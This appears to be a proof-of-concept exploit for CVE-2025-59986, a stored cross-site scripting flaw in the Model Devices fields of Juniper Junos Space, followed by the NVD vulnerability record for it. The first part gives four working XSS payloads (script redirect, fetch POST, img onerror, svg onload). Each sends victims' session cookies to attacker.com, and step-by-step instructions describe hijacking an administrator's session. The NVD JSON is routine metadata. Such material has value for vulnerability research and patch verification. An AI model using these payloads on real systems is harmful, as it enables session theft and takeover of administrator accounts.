CVE-2025-59986

<!-- CVE-2025-59986: Juniper Junos Space XSS PoC --> <!-- Target: Model Devices input fields in Junos Space --> <!-- The following payloads can be injected into Model Devices input fields --> <!-- Payload 1: Basic cookie stealing --> <script>document.location='https://attacker.com/steal?c='+document.cookie</script> <!-- Payload 2: Session hijacking via fetch API --> <script> fetch('https://attacker.com/collect', { method: 'POST', body: JSON.stringify({cookie: document.cookie, url: document.location.href}), headers: {'Content-Type': 'application/json'} }); </script> <!-- Payload 3: Event-based XSS (less likely to be filtered) --> <img src=x onerror="fetch('https://attacker.com/steal?c='+document.cookie)"> <!-- Payload 4: SVG-based XSS --> <svg onload="document.location='https://attacker.com/steal?c='+document.cookie"> <!-- Steps to reproduce: 1. Log in to Junos Space management platform 2. Navigate to Model Devices section 3. Create or edit a Model Device entry 4. Inject one of the above payloads into an input field (e.g., device name, description) 5. Save the entry 6. When an administrator or other user views the Model Devices list or detail page, the malicious script will execute in their browser context 7. The attacker's server receives the victim's session cookie or other sensitive data -->

{"cve": {"id": "CVE-2025-59986", "sourceIdentifier": "[email protected]", "published": "2025-10-09T17:16:00.453", "lastModified": "2026-01-23T19:59:58.497", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "An Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in Juniper Networks Junos Space allows an attacker to inject script tags in the input fields in Model Devices that, when visited by another user, enables the attacker to execute commands with the target's permissions, including an administrator.This issue affects all versions of Junos Space before 24.1R4."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:A/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 5.1, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "ACTIVE", "vulnConfidentialityImpact": "NONE", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "LOW", "subIntegrityImpact": "LOW", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N", "baseScore": 6.1, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:juniper:junos_space:*:*:*:*:*:*:*:*", "versionEndExcluding": "24.1", "matchCriteriaId": "2EC090A9-634B-4AA2-916F-7548AF71FF76"}, {"vulnerable": true, "criteria": "cpe:2.3:a:juniper:junos_space:24.1:r1:*:*:*:*:*:*", "matchCriteriaId": "0566970C-0E9B-4566-9920-C7C436A4243D"}, {"vulnerable": true, "criteria": "cpe:2.3:a:juniper:junos_space:24.1:r2:*:*:*:*:*:*", "matchCriteriaId": "A2AA399D-5A7D-45B8-B774-D69054DFA4D3"}, {"vulnerable": true, "criteria": "cpe:2.3:a:juniper:junos_space:24.1:r3:*:*:*:*:*:*", "matchCriteriaId": "57CC4E1A-23AA-4B4A-8690-5EEDCBEC4BBE"}]}]}], "references": [{"url": "https://supportportal.juniper.net/JSA103140", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}